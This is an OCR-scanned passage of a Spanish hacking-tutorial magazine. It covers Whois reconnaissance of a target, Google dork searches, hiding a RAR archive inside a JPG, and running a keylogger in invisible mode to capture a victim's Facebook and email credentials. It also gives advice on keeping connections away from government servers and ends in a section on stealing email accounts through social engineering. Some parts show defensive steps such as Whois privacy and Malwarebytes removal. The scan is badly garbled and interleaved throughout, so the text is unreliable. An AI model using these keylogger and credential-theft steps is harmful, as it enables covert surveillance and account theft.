Administrative Contact: 
Name: Smarttel Comunicaciones 
i MEXICO 
Mexico 
Mexico 


R Technical contact 
Technical Contact: 

Name: Ciberecus Mexico 
City: MEXICO 

State: Mexico 

Country: Mexico 








Ejecute la herramienta 
Visual Whois 2004 y, 

tras colocar el nombre del 
objetivo, despliegue la 
información y registre tanto 
la ubicación del servidor, 


Una vez que el hacker conoce la información necesaria de su 
objetivo (incluyendo la ubicación de los servidores que alojan la 
página principal), podrá explorar, mediante servicios externos 
: (GeoSpider, Open Visual Traceroute), las rutas más apropiadas 

como la ruta (km, tiempo) iy 

A a los efectos de ataque o recuperación. El hacker debe saber 
para togara el Amiesifaea ue sus conexiones no tienen que pasar a través de servidores 
en el mapa 3D de la q , PASEM 
derecha) del gobierno, dado que estas agencias suelen actuar ante 
posibles efectos en sus sistemas o políticas. 
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Como protegernos 


Pese a que la ICANN (organismo regulador de se centra en ocultar los datos de manera integra 
Internet) exige que todos los dominios gTLDs o parcial (según se requiera). 

muestren de forma pública los datos reales del Al momento de concebir un dominio, es opcional 
propietario, existen organizaciones que ofrecen considerar la contratación del servicio de privacidad 


un servicio llamado Whois Privacy, cuyo objetivo de información del portal o sitio de Internet. 


D DonDominio Dominios Alojamiento Web Correo electrónico Certificados SSI Crea tu Wen Revendedores 


Recurso web que 
ofrece el servicio 
Whois Privacy. 


Whois Privacy gratuito 


Oculta tus datos públicos del Whols de tus dominios, protegien 
tu identidad así como tu Email y número de teléfono. Te ofrece 
este servicio de forma totalmente gratuita en los dominios que 
gestionas con nosotros 


¿Cómo funciona? Extensiones soportadas 





Configuración del servicio de privacidad 
de información de un sitio web 


Vea 


GoDoddy ES + Rg 155) 46312410 Y Ayuda Biog A ricas sesión » e 


i : Ingrese al portal de la 
Enlaces rápidos Clientes nuevos Usuarios registrados | 
Vinculos del panel de Vinculos de la bandeja de ¿Eres nuevo en GoDaddy? ¿Menes una cuenta? Inicia sesión ahora, em p resa Con la q ue 


control: entrada: Seon me — contrato su dominio; 
— “Ses por ejemplo, GoDaddy 
eee ro j (empresa reconocida 
en el ramo). Proceda a 
SES iniciar sesión o, en caso 
certificados SSL de no contar con este 
servicio, regístrese para 
iniciar con la gestión de 


su sistema web. 


* Administración del * Inicio de sesión en 
Creador de sitios web webmail de GoDaddy 


* Administración de Hosting 





Si ya tiene un 

dominio, se sugiere 

Dominios Sitios web Hosting Seguridad web — Marketing en linea Correo electrónico y Office Promociones GD) su busqueda para 

NS - contratar el servicio de 
privacidad deseado. 

De lo contrario, se 

¡Sí! El dominio está disponible. Cómpralo antes de que alguien más lo haga. aconseja el registro 

del dominio para su 

tisecurity.com.mx e A compra (Dominios/ 
Dominios personales). 

Para esto, debe colocar 


Lor 
ES + b OBAOTIZIVO A Ayudas g wesss4ay +» ME Pagar ohors 
log 


2 dominios seleccionados 


Compra 2 y ahorra 56% muntces-ss MXN447 000 


tisecurity.biz durante = peer ato un nombre valido 
ii ai 2... completo y agregarlo al 
carrito de compra. 
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Desde su sesion, 
busque la ficha 
Privacidad de 
dominio para 


GoDaddy ® cs- 


MU 155146312410 + Ayude Diog & B 190695427 + E Pags whore 


Dominios Sitios web Hosting Seguridad web Marketing en linea Correo electrónico y Office Promociones GD) 


aComprar > Y 


niciar zesiór: Pago información de Completo 


recturacon contratar el 
Pago Tus artículos 


servicio. Si es la 
primera vez, llene 
la forma de pago 
de su dominio a 

la par que elige la 
opción Privacidad 
de dominio, que 

| encontrará a 
ee un costado del 
formulario. 


Registro de dominio COM MXNI189.99 
Teacunty.com.mny 32% de descuento 


Pais / Región @ 
México AñO ~ 


Renovaciones s MXN279.99/año 


@ Tarjeta 
w e ES 


Número de tarjeto” 


es | 


Fata caren as otiicatario 


Privacidad de dominio 
MXN49.99 /año par domenin 








¿Qué harás con tu nombre de dominio? 
A AA eee A e AS 


Es obligación 
de la empresa 
dar a conocer 


Hemos agregado la privacidad. Este es el motivo. 


Cuando registras un dominio, tu nombre, cirección, dirección de correo electrónico y 


numero de teléfono se publican automáticamente pare que todos puedan verios iti 

Protégete del spam y de estafas con GoDaddy Privacy Protection, que reemplaza tu la S po | iti ca S 
información personal con la nuestra. Ver ejemplo @ de pr otecci on 
Sin duda recomendamos la privacidad de dominio, pero es una función opcional. d e ntro d e | a 


Seleccionar plan 


® Protección de la privacidad 


Ver detalles @ 


Protección comercial y de 


privacidad 
Ver detelles Y 


No, Gracias 


Registro de dominio público 


Registrado 

Your Name 

Your enna! address your domaine addresses 
Your Adoress 

Your tows, Your Qty, Your Postonde 

0121 123 4567 

Registered: Oneandone 

Dora Nave Yoco nine tres 
Created on 22 Nov 15 

Expres on: 22-Nov-16 

Lasi Undies an 23-Now-15 


Contacto administrativo 

Your Name 

Your emal addressatyour domain name addresss 
Your Adoress 

Your tows, Your Gilly, Your Poedonete 


important Dates 


Expres On 2019-09-14 


Registered On 
Updated On 


Similar Domains 


Registrar Data 


MXN49.99 ¿dominio por año 


MXN284.99 /dominio por 


año 
WA 77 


Registro de dominio privado 


Oneandone 

Prate Regstration 

141 Intemel Lentes 
Discovery House 

1M Southgate Street 
Glouces41 

Unites Kingdom 

GL 176X 

+44. 332596509) 
prtvacyi=tanedt os 
Regisierect Oneandone 
Doman Name: Your-domain-name_adcress 
Creating an 72-Nov-15 
Expires on. 22 Nov 1€ 

Last Updates on: 23-Now-1S 


Contacto administrativo 
Prais Regstranon 

141 Inkemet Urniled 

154 Southgate Streat 
Ghipaeser 





Site Status 
Status 


Server Type 


Suggested Domains for smarttel.mx 


smart socal 
wmartiets sociai 
smarttet news 
smarttei nna 


amante rocks 





$3.93 
$5.99 
$3.99 
$4 93 


$1.99 





configuración 
de dominio, así 
como el costo 
de sus planes y 
los sistemas de 
protección de 
datos. 


En esta imagen se muestra una 
comparación entre el registro de un 
dominio público y uno privado. 


smarttel.mx 
Who.is Privacy 


Recordarme 


Pagar 10,00 US$ 





Pulse sobre el botón Order 
Who.is Privacy, lo que 
abre un formulario para 
proceder al pago. 


Puede hacer uso de otros recursos, como who.is (que se ha 
citado en el paso a paso inicial de este proyecto); una vez 
identificado el dominio, ubique la ficha Make Private Now y 
haga clic para solicitar el servicio. 
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Como explotar 
la busqueda avanzada 
de Google 


Este proyecto se centra en la explicacion de diversos parametros para realizar 
busquedas avanzadas (personalizadas) desde Google. Pues ya lo dice un 
dicho: “el buen hacker por su propia casa empieza”. 


Google Dorks © 6 0 O 


Comillas Guión Tilde Site 





Se trata de combinaciones de operadores Buscalapelabrao — Excluyelapaabra — Bvscasinónimosce Busca la palabra a, 
de búsqueda especiales que se utilizan para << “gi de una acompañalatide: = especiica: 

. ., . . a Ú $ Seguridad vv Hacker: 
extraer informacion valiosa o sensible desde Kavin nic pacer aca —_ avast.com 


Google. El término es despectivo porque dork en 


inglés significa “idiota”. Además, se denomina Operadores de Google 


google-dork a una persona inepta o tonta, búsqueda en 

según lo revelado por Google, aunque esto no O © © © 
tendria que preocupar a nadie. Con la finalidad 

de comprender mejor la forma de encarar a sates: DOS Puntos: Related 

Google a los efectos del hacking, se propone OORDE | OWGAN, | CANARE 

realizar el siguiente Paso a paso, que explica el e E BB cc 


Películas hacking 


procedimiento para preparar el escenario y llevar 2000..2017 
a cabo busquedas avanzadas: Ocho operadores de busqueda en Google. 





C D www.google.com.mx 


etectamos que estás usando una versión antigua de Chrome Actualizate y mantente seguro 


Gmail Imágenes 


Configuración de búsqueda 


Busqueda avanzada 


Historia 


Ayuda de búsqueda 


Enviar comentarios 


Condiciones Preferencias Utilizar Google.com 








Buscar con Google Me siento con suerte 


Diríjase a la ficha 
Preferencias, ubicada en 
el panel del navegador en 
la parte inferior derecha de 
la ventana. Una vez hecho 
esto, estará dentro del 
entorno de la búsqueda 
avanzada de Google. 





Dentro de cualquier navegador, abra una ventana de navegación 
de incógnito, de modo que Google no contamine los resultados 
de búsqueda con los datos de la navegación efectuada por el 
hacker. Así se logra un resultado más relevante, y no, en función 
del perfil de quien ejecuta la búsqueda. En este caso, proceda a 
abrir la página principal de Google. 
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Google 


Busqueda avanzada 


Mostrar páginas que 
contengan. 


Pia hacer esto en al cuad 
todas estas palabras yesa ws ovlzbras wmoorinete 
gess as poleras exar tas 


esta palabra o frase exactas 


cualquiera de estas palabras esa © entre ias palabras que 


presa om signe meras justo O 
secta -Roeior, eck 


ninguna de estas palabras 


números cal 


Luego restringe tus 
resultados por.. 


última actualización: 
sitio o dominio 
términos que ¿pez en 
SafeSearch 

tipo de archive 


derechos de uso 


GUUSLE 


GOOSLE 


pesa cos pumos entre los nu 
35 ib, $2€€..5560, 28 


cualquier «doma 
cualquier región 


en cuaqquier momento 


eee Dusquecas er un sti! 
MIINACA a un dominic comm 


La cualquier parte de la pagma 


eco temnos e toda b pag” 
aua que de drian a la págin 


Mostrar los resultados mas relevantes 
Cusiquier tornato 


Páginas cuyo use no requiera de licencias 


intext:"@hotmail.com" U 


Todo Noticias Maps Imágenes Videos Mas Preferencias Herr 


Cerca de 156,000,000 resultados (0.50 segundos) 


Cuenta Microsoft - Outlook.com 

https-//signup.live.com/newuser. aspx?mkt=es-es v 

outlook.es; outlook.com; hotmail.com. Esta información es obligatoria. Enviarme correo electro 
promocional de Microsoft. Usar un número de teléfono en su lugar. Usar su dirección de correo 
electrónico en su lugar. Obtener una nueva dirección de correo electrónico. Al elegir la opción 
Siguiente. aceptas el Contrato de .. 


> INICIAR SESIÓN HOTMAIL @hotmail.com - Sign in - Inicio Sesión 
www iniciarsesioncorrecelectronicoentrar.com/hotmail-iniciar-sesion/ v 

Hotmail correo: Iniciar Sesion, Entrar y Registrarse. Hotmail El dia de hoy trataremos de explica 
qué consisten las ventajas de Hotmail correo electrónico, pasos para la creación de una cuenta 
de sesión — sign in — y cambios de contraseñas. Si deseas entrar directamente a tu cuenta de 





site:redusers.com 


Todo Imágenes Noticias Shopping Maps Más Preferencias 


Cerca de 34,300 resultados (0.28 segundos) 


Probar Google Search Console 
www google. com/webmasters/ 
¿Eres dueño de redusers.com? Obtén datos de clasificación e indice de Google 


RedUSERS - Noticias de tecnología, celulares, tablets, hardware ... 
www.redusers.com/ v 
Noticias de tecnología, celulares, tablets, hardware, software y trucos 


USERSHOP - Internacional - Libros, revistas, suscripciones ... 
usershop.redusers.com/ v 





Verá dos secciones 
generales. La primera es 
para efectuar búsquedas 
por clave, mientras que la 
segunda permite realizar 
búsquedas por filtro, 

tal como se muestran 
señaladas en la imagen. 


Un ejemplo de búsqueda 

es el siguiente: intext:”"@ 
hotmail.com”. Como se 
puede apreciar, se ha 
condicionado la búsqueda 
para obtener datos 
exclusivos sobre el inicio de 
sesión por Hotmail.com. En 
otros casos, esto es usado 
por muchos spammers (y 

a su vez, automatizado en 
diversos lenguajes con 
expresiones regulares) para 
filtrar los correos. 


Otro ejemplo de búsqueda 
es el que se realiza por 
rastreo básico de sitios 
(Basic Site Crawling) o 
mapeo. Nótese que el 
operador site: reduce 

la búsqueda a un sitio 

en particular, dominio o 
subdominio. En la imagen 
se puede observar el 
mapeo de redusers.com. 


Actualmente existe una gran diversidad de programas que permiten probar de modo automático las 
vulnerabilidades de un sitio web invocado desde Google, con el fin de evitar una búsqueda individual. 
Algunos ejemplos son: Site Digger, Wikto, SearchDiggit, Athena (snakeoillabs.com) y Gooscan. Estos 
dos últimos son programas que violan la política de Google, al no usar GoogleApi. 
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Ocultar informacion 
mediante esteganografia 


En esta ocasion, el protagonista es la esteganografia, una practica que pone sobre la mesa una 
opcion a la que han recurrido muchos personajes con el unico fin de ocultar mensajes en medios 
visuales, como imágenes, para después enviarlos a su destinatario por correo electrónico, 
páginas web o medios extraíbles. En este proyecto, se efectúa una demostración básica sobre su uso. 





¿Qué es la esteganografia? 


Del griego steganos (oculto) y graphos (escritura), la esteganografía se puede definir como la forma 
de ocultar información en un canal encubierto, con el propósito de prevenir la detección de un mensaje 
oculto. Esta ciencia ha suscitado mucho interés en los últimos años debido a que fue utilizada por 
organizaciones criminales y terroristas. Hay que tener presente que es diferente de la criptografía. 


Actores implicados en la esteganografia 

Hay distintos actores que intervienen en el = Adversario: todos aquellos entes a los que se 

campo de la esteganografía. A continuación, trata de ocultar la información encubierta. Este 

se listan los principales, que se utilizarán en la adversario puede ser pasivo o activo. 

práctica en este proyecto. Un adversario pasivo sospecha que se puede 
estar produciendo una comunicación encubierta 


= Mensaje: son las líneas de texto que desean 


comunicarse al destinatario. 


y trata de descubrir el algoritmo que se extrae 
del estego-objeto, pero no intenta modificarlo. 


= Objeto contenedor: es la entidad que se Un adversario activo, además de tratar de 
emplea para portar el mensaje oculto. hallar el algoritmo de comunicación encubierta, 
= Estego-objeto: objeto contenedor más el modifica el estego-objeto con el fin de corromper 


mensaje encubierto. 


A + hoe 


cualquier intento de mensajeria subliminal. 


"OS AA A a? = 
= a 5 
Pat pa 


e Sia 


O DORE: ~{/Documents/. carpetaoeults 


= Archivo Editar Ver Buscar Terminal 
a” 


’ AE alex une: 


— 
a El 
eam 
AZ 


Ys = es) tArchtvo. txt 


<a ders total 8 


Ayuda 
s$ cd deed adem pines 


S touch MiArchivo.txt 
tas ls 


taS touch .MiArchivoOculto.t 
$ ls -al 


r-x 2 alex alex 4096 mar 27 10:25 
xr-x 4 alex alex 4096 mar 27 10:22 

f .MiArchivoO0culto.txt 
r MiArchivo.txt 


1 alex alex O mar 27 10:25 
il alex alex O mar 27 10:25 


GNU-Linux 
permite ejecutar 
prácticas de 
esteganografía 
y estegoanálisis. 
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El arte de ocultar la informacion 


Para comprender lo expuesto, se sugiere analizar 
el escenario que planteamos a continuación. 
Imaginemos que se desea enviar un mensaje 
oculto vía correo electrónico a un familiar o amigo 
que reside en otro país y que, por lógica, no 
queremos que ciertas personas lo intercepten. 
¿Cuál sería una buena práctica para llevar a cabo 
esta acción? La solución está en hacer uso de la 
esteganografia. Pero, finalmente, la pregunta es: 
é que se requiere? 


Documento? - Word 


FASO. 
Ti REFERENCIAS 


INICIO INSERTAR 
Da 
Peyar x 


Porrapaseles < 


DISEÑO DISEÑO DE PAGINA CORRESPONDENCIA REVISAR 


¡Calor (Cuenpr - |20 «IN a Aa- 4 35-08 


#7. 


NKS-mx x A-F 


Fuente Estilos 


12/Abril/2018 
Mensaje urgente: 


Se necesitan más provisiones... 


Mantenme comunicado todo el tiempo. Te lo encargo 
mucho. 


Escríbeme cuando llegues de Buenos Aires! 


Saludos! 


Comprima el documento 
con la ayuda de algún 
compresor de archivos 
como Winrar. Se sugiere la 
protección con contraseña 
del archivo comprimido 
(cuya cadena no debe ser 
menor a 8 caracteres de 
longitud, y debe incluir 

el uso de mayúsculas, 
minúsculas, números y 
algún símbolo especial). 
Esto se hace con la 
finalidad de integrar en 
cierto modo la criptografía 
con la esteganografía. 
Nota: tenga presente que el 
destinatario debe conocer 
esa clave. 





AaBbCcDc AaBbCeDe ASBDC: 


TNonmnal TSinespa... Titulol 





VISTA 





Una computadora con cualquier sistema 
operativo, en este caso se utilizara el Simbolo 
del sistema de Windows. 

Una imagen (o foto) cuyo tamaño, en este caso, 
no exceda los 800 MB (aunque para otro tipo de 
prácticas, se pueden utilizar medios HD). 

Un archivo de texto (originalmente redactado 
en Microsoft Word) que incluya el mensaje para 
el amigo o familiar. 

Winrar instalado. 


Iniciar sesión | 


- Edición 


Redacte el mensaje que 
desea enviar usando 

algún editor de texto como 
Microsoft Word. Guárdelo en 
su disco duro (por ejemplo, 
en el Escritorio) con un 
nombre que lo identifique, 
como Mensaje.doc. 





eeseeecee 
Confirmar contraseña 


|| Mostrar contraseña 
[F] Codificar nombres de fichero 


[Aceptar] 
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copy /b genera una Foto.jpg es la imagen Foto-msg.jpg es el archivo 
copia binaria de la en la que permanecera resultante, el que contendra el 
imagen (Foto.jpg con oculto el mensaje (objeto mensaje oculto, considerado 
el mensaje oculto). contenedor). como el estego-objeto. 


=\Users\L161-86\Desktop>copy 7b Foto.jpg + Mensaje.rar Foto-msg. jpg 
Foto.jpg 
ensaje.rar 
1 archivos) copiadots)>. 


=:\Users\L161—-68\Desktop>_ 


Mensaje.rar 

es el archivo 
comprimido con 
el mensaje. 





Abra una ventana de comando (en este caso, el Simbolo 
del sistema de Windows o Power Shell) y escriba lo siguiente: 
C:/>copy /b Foto.jpg + Mensaje.rar Foto-msg.jpg. 


Debemos saber que, al realizar este método, 

el archivo con el mensaje oculto tendrá un 
tamaño igual a la imagen original, más el 
tamaño del archivo a ocultar, lo cual puede 
levantar sospechas ante un análisis; por 
ejemplo, una imagen .jpg de 800x600 que 
pesa 5.0 MB. Por esta razón, es conveniente 
comprimir el archivo que queremos ocultar para 
tratar de disimular el tamaño. 

Como se puede apreciar, aunque el 
procedimiento es muy sencillo de realizar, puede 
llegar a ser fácil de detectar, razón por la cual 

es conveniente codificar el archivo con una 
contraseña segura. 
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€ C | â Es seguro | https://outlook.live.com/mail/compose/AQMkKADAWATZiZmYAZCO4M2ZiLTYxMjktMDAC 


+ Mensaje nuevo = Enviar ll Adjuntar Y Descartar 


Favoritos Para  01255Ghotmail.com 


Bandeja de e... 


Fotos Acapulco 
Borradores 


personal Us Foto_1.png © Foto_2.png 
B Cualquier usuario puede visu... Cualquier usuario puede visu... 
Agregar favorito 


ES Foto_3.png 
Carpetas lad) cua quier usuario puede visu... 


Bandeja de en... 
andeja de en Hola 


Te envio las fotos de Acapulco. 
Aguardo comentarios! 


Correo no dese... 


Borradores 
Saludos! 


Elementos enviados 
Atman_PS| 


Elementos elimina... 1 


Actualizar 3 Office 365 
con Caracteristicas de A A 
Outlook Premium $ A A B 


R ET 0] v o Li Borrador guardado a las 08:04 AM 





> 





Envie por correo electronico la informacion 
generada. Es posible enviar diferentes 
medios, aunque el mas comun son las 
imagenes. Ademas, puede cambiar el 
nombre del archivo que incluye el mensaje. 





El Foto-msg - Visualizador de fotos de Windows 






Archivo Y Imprimir © Comecelectronco Gabar Y Abr v 





Y Mensaje.rar - WinRAR 
Archivo Órdenes Herramientas Favoritos Opciones Ayuda 


3JIND bano tet 70 


: Añadir Extraeren Comprobar Ver Eliminar Buscar Asistente Información | Buscarvirus Comentario Protege 





El Y Mensaje.rar - archivo RAR, tamaño descomprimido 11,605 octetos v 





Nombre 4 Tamaño Comprimido Tipo Modificado CRC32 


ds Mensaje.docx * 11,605 8,912 Documento de Mi... 09/11/2018 01:... AD7CBD22 





Si prueba a abrir el archivo resultante 
con el visor de imágenes de Windows 
o su programa preferido, verá en 
pantalla la foto original. Pero al 
abrirla con Winrar, aparecerá el 
archivo comprimido: Mensaje.rar. 
Cabe notar que esto es totalmente 
transparente para el usuario. Ln iio 
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Utilizar un keylogger 


Este proyecto está orientado a conocer la forma de operación de una herramienta de 
monitoreo conocida como keylogger, así como los alcances de su concepción, que van 
desde una simple labor de vigilancia con propósitos de mejora, hasta el robo de información 
almacenada en el equipo, datos de usuarios registrados, credenciales de acceso, y otros. 





Herramientas de software 


Un keylogger almacena los datos de forma local en la computadora 
de la víctima. Con frecuencia se utilizan herramientas de control remoto 
para la extracción y el almacenamiento de datos hacia otra terminal. 
Un par de ejemplos de keyloggers por software son Advanced 
Keylogger (utilizado en algunas compañías para vigilar la actividad 
de los empleados, lo que supone, desde luego, una acción ilegal) 

y Keylogger_Gratis (recurso pensado originalmente para pruebas 
con estudiantes del medio informático). 







En la imagen 
se puede apreciar 
el ejemplo de un 
keylogger modo hardware, 
a menudo utilizado 

por muchos hackers. 










(a 7 i 1 31 - http://www.keylogger-gratis. 2 
(Y Envezar monitoreo Q torec ($ Configuración “LY Más posiblidades 2 Ocultar el programa [e] Desinstalació 
Inf 


ormes 


Informe, relacionado con: lunes, 24 de septiembre de 2018 a > Buscar el renglón: 
3 


—> 10:45:49 a.m., El siguiente fragmento de texto ha sido copiado: 
Keylogger_Gratis 


—> 10:45:51 a.m., En la ventana "Como usar el programa - Windows Intemet Explorer” el usuario “ImagenUDI" escribió: 
ceececcceeccecccec 


—> 10:46:52 a.m., En la ventana “Descargas” el usuario “ImagenUDI" escribió: 
[Menu] e 


—> 10:46:54 a.m., En la ventana “Descargas” el usuario "Imagen UDI” escribió: 4 | 
c 


—> 10:47:36 a.m., En la ventana "Nueva pestaña - Google Chrome” el usuario "Imagen UD!" escribió: 
www -Enter- 




















[4] Inicio automático con Windows 
[F] Ejecutar programa en el modo invisible 





















Monitoreo 
[J] Vigilancia de teclas presionadas 
|| Grabación de la navegación Web 
|| Capturas de la pantalla 

| Supervisión de aplicaciones 



















—> 10:47:56 a.m., En la ventana "Inicia sesión: Cuentas de Google - Google Chrome” el usuario "Imagen UDI" escribió: 
gil99%1qhotmailcom Caps Lock- PRUEBAUSERS 









1 Barra de herramientas: contiene una serie de opciones generales que incluyen EQ U e Go U nN 
los iconos para comenzar con el monitoreo, ocultar el programa y desinstalarlo k a 
eylogger” 


del equipo. 
2 Ficha de configuración: tras pulsar sobre esta opción, se visualiza una interfaz Un keylogger es un software 
con cuatro fichas, sobre las cuales se efectúan los ajustes necesarios para 


conseguir un resultado óptimo en la tarea de sniffing. o hardware (este último 


a suele ser más flexible para 

3 Botones Actualizar y Eliminar: luego de detener el proceso y pulsar el botón 
Actualizar, se mostrará el resultado de las pulsaciones en el área de monitoreo. 
Este puede eliminarse en cualquier momento. son independientes del 


4 Área de monitoreo: muestra el resultado obtenido tras el monitoreo en texto Sistema operanva) que puede 
plano. Desde esta area, el hacker puede obtener los datos deseados. interceptar y guardar las 


5 Fecha del informe: desde esta opción es posible consultar el informe sobre pulsaciones da! teclado de un 
monitoreo emitido en la fecha deseada. equipo de cómputo infectado. 


los cibercriminales, ya que 
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Keylogger_gratis 


Con el proposito de probar el funcionamiento de un keylogger, 
se propone descargar la herramienta Keylooger_Gratis y realizar 


los siguientes pasos: 


General | Invisiblidad | Entrega de email | Preferencias 


Inicio 
Inicio automático con Windows 


[_] Ejecutar programa en el modo invisible 


Monitoreo 


Vigilancia de teclas presionadas 
|_| Grabación de la navegación WW'eb 
|_| Capturas de la pantalla 


[| Supervisión de aplicaciones 








Al ejecutar Keylogger_Gratis, aparecerá 
una ventana de configuración inicial, 
sobre la cual debe efectuar una selección 
de casillas acorde a su necesidad. 
Posteriormente, presione el botón OK. 


Pulse el botón Empezar 
monitoreo, que se 

ubica sobre la barra 

de herramientas de la 
interfaz. Note que no 
aparece nada en pantalla 
hasta que usted mismo 
decida detener el proceso. 


Keylogger Gratis 3.1 - http://www.keylogger-gratis.com 





facebook 


Inicios de sesión recientes 


Haz clic en tu foto o agrega una cuenta. 


Agregar cuenta 


men cliecirunco o icicfono DOTA ora 
cr = 7 


CO cir sone 


Crea una cuenta 


Es gratis y lo sera siempre. 
Nombre Apellido 
Número de celular o correo electrónico 
Contraseña nueva 


Fecha de nacimiento 


¿Por qué tengo que indicar m 
” . y 4 
21 dic 1992 fecha Ge nacimiesto? 


Mujer ©’ Hombre 


Al hacer cic em Crear cuentas’, aceptas sas Condiciones y 
contimas que leóste neestre Folbca de datos, mchsdo el uso ce 
cookies. Ls posible que recibas robibcaciones por SATS de 
F acedook, que puedes Cesachrai en cunquer momento 


Crear cuenta 


Cres una página pars un personaje público, un grupo de música 





Sin cerrar la 
ventana del 
keylogger, ingrese 
a su navegador e 
intente abrir alguna 
cuenta de correo o 
la red social de su 
preferencia; en este 
caso, puede ser 
Facebook. Luego, 
comience a escribir 
los datos de sus 
credenciales para el 
acceso. Finalmente, 
minimice la ventana 
del navegador. 
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Regrese a la herramienta 
Keylogger y presione el 
boton Parar monitoreo, 
ubicado también sobre la 
barra de herramientas de 

la interfaz. Luego oprima el 
boton Actualizar, ubicado 
a la derecha del combo que 
senala la fecha actual del 
monitoreo. Podra apreciar 
un informe con texto plano, 
desde donde es posible 
extraer las credenciales de 
la victima. 





 Empezarmontores (C) Paor montos ¿ Configuración y Más posbiidades 4f Ocutar el 
Informes 


Informe, relacionado con: miércoles, 13 de diciembre de 2017 


—> 09:59:10 a. m., En la ventana "Nueva pestaña - Google Chrome” el usuario “Gil” escribió: 
WWINFACEBOOKCOM -Enter- 


—> 09:59:17 a. m., En la ventana "Facebook - Inicia sesión o regístrate - Google Chrome” el usuario "Gil" escribió: 
-Delete- G -Back- Caps Lock- “Errata e sree i 


—> 09:59:10 a.m., En la ventana "Nueva pestaña - Google Chrome” el usuario "Gil" escribió: 


WWIWFACEBOOKCOM -Enter- 


—> 09:59:17 a. m., En la ventana "Facebook - Inicia sesión o regístrate - Google Chrome” el usuario "Gil" escribió: 
IS qhotmailcomreduserscom 


-Delete- G -Back- -Caps Lock- gil 





El keylogger permanece oculto para el 
usuario, aunque no para el hacker, quien 
puede aprovechar la forma alterna de 
invocarlo para ver el resultado sobre un 
editor de texto plano. 


El programa seguirá el monitoreo en modo invisible. ¿Ocultar en icono en la bandeja? 
(Atención: si el icono está oculto, usted deberá pulsar Shift+Ctrl+Alt+K para verlo de nuevo), 


Ne 


Los keyloggers normalmente son invisibles para el usuario. Para ocultarlo, es necesario oprimir 
el botón Ocultar el programa, presente en la barra de herramientas. Luego de hacerlo, aparece 
un recuadro con la combinación de teclas para invocarlo al momento de solicitar la inspección 


de informes. 


Una opción viable 
para evitar el robo 
de datos presentes 


en una computadora 


es el uso de 


herramientas para 
congelar equipos, 
como Deep Freeze. 


Herramienta para congelar una 
PC como opción para evitar 
ataques por keylogger. 
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eeg I ipaa Di 


FARONICS 


DEEP FREEZE 
ENTERPRISE 


NUNCA VUELVA 4 REINSTALAR IMAGENES EN 
SUS EQUIPOS 


piis Deet Thame titie Pt aabt a Pie Y mas bee 
O E an A cantia tr asters as 
SIO y fs coo cosbisades 92° e admirador i, ecis tein 
‘ait wes A ite sles cen bet 





Como protegernos 


Una manera sencilla para detectar malware de este Tipo es mediante 
la instalacion de herramientas antivirus con la opcion para eliminar 
keyloggers. Entre las más conocidas esta MalwareBytes Antivirus. 


Detectar y eliminar un keylogger 


ÈS Malwarebytes Premium 3.5.1 


Malwarebytes 


Analizar Programación de análisis 


Análisis de amenazas 


uarentena e 


Buscar Operaciones de Analizar Analizar Analizar Analizar Análisis 
actualizaciones pre-análisis memoria archivos de registro sistema de heurístico 
inicio archivos 


Analizando en este momento: C:\PROGRAMDATA\KASPERSKY LAB|KES10SP11BASES|WMUF-1313G.XML 
Elementos analizados: 165.612 
Tiempo transcurrido: 00:01:46 


Amenazas identificadas: x) 1 


Ver amenazas identificadas Cancelar 


Lleve Malwarebytes en el bolsillo 
ap Malwarebytes for Android bloquea automáticamente las amenazas peligrosas pea que 
esté protegido incluso cuando esté yendo de un sitio a otro. eger mi telefon 


4 Malwarebytes Premium 3.51 
Malwarebytes 


Analizar Programación de análisis 


Resultados del Análisis de amenazas: 4 de 5 elementos identificados 
seleccionadas 


Para poner en cuarentena los elementos seleccionados, haga clic en Cuarentena seleccionada. Si no desea poner en 
cuarentena ninguno de los elementos detectados, haga clic en Cancelar, Más información 


. Tipo de amenaza Nombre Ubicación 


Generic.Malware/Suspicious C:\PROGRAM FILES (X86)\KLG MONITORISERVICE... 
Generic.Malware/Suspicious HKU\S-1-5-21-1916676725-3099341 540-209363... 


Generic. Malware/Suspicious C:\PROGRAM FILES (X86)\KLG MONITORISERVICE... 


') Malware Generic.Malware/Suspicious C:\PROGRAM FILES (X86)\KLG MONITORISERVICE... 
rogram X eres C:\USERS\IMAGENUDI\APPDATA\LOCAL\TEMPAR... 


Guardar los resultados Cancelar 


Cerrar X 





Todos los elementos seleccionados se han eliminado con éxito. Un archivo 
de registro se ha guardado en la carpeta de registros. 


e ya a Malwarebytes 
n para bloquear de 
ra a proactiva las 

| Si | No azas antes de que 


n dañar su equipo. 


Su equipo debe reiniciarse para completar el proceso de eliminación. 
¿Quiere reiniciar ahora? 


Elementos analizados: 


Amenazas detectadas: 





Amenazas en cuarentena: 





Luego de instalar 
MalwareBytes Antivirus, 
presione sobre la opción 
Analizar, ubicada en el 
panel de la izquierda. 
Una vez hecho esto, 

se efectuará el análisis 
recomendado para la 
búsqueda de amenazas 
en el equipo. 


Como puede notar, 

el resultado obtenido 

se encarga de mostrar las 
posibles amenazas, que 
en este caso parecen 

ser las de KLG MONITOR. 


Una vez detectadas, se 
sugiere su selección para 
enviarlas a cuarentena. 
Haga clic sobre el 

botón azul (Cuarentena 
seleccionada) ubicado en 
la parte inferior derecha de 
la ventana. A continuación 
se solicita reiniciar el 
equipo para que los 
cambios surtan efecto. 
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Robo de cuentas de correo 
mediante ingenieria social 
y keyloggers 


En este proyecto se muestra como nos pueden robar credenciales de acceso 
por medio del uso de keyloggers de la mano de la ingeniería social, que 
definimos como una manera de persuadir a la víctima para extraer información. 





Spoofing mail 

El reed MESA hacer uso de interfaces gráficas que incluyen 
formularios para la extracción de datos, herramientas de 
control remoto para intervenir el equipo a distancia e, incluso, 
la promoción de conferencias, talleres, charlas de inducción, 
etcétera, que cumplen con el propósito de convencer al usuario 
para que proporcione su información (ingeniería social). 
Actualmente, el robo de identidad se puede efectuar utilizando 
algún otro medio, como redes sociales (junto con el uso de 
sistemas internos de mensajería instantánea, como Messenger- 
inbox), SMS y mensajes por WhatsApp o similares. 


Las cabeceras de un mail 
falsificadas a menudo 
representan un acto de 
spoofing mail. 


Correo de Outlook 
iz 
© Resultados de la búsqueda 


En carpetas 


Y 1odis iàs carpetas 


GOKMERNO DF LA 


MÉXICO | S; ee 


GONZALEZ,GILBERTO 
GOKRGS21 209822 





[Enviar | Descattar iy [as] D m A v 


a 
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Ingenieria 
Social 


Es un término comúnmente 
utilizado en seguridad 
informatica. Consiste 

en la practica de 


obtener informacion 
confidencial a través de la 
manipulación o persuasión 
de usuarios. Los atacantes 
la utilizan a menudo para 
conseguir información 
sensible y así exponer a sus 
víctimas a abusos y riesgos. 





Servicio de Administración Tributarss 





A las efectos del robo de 
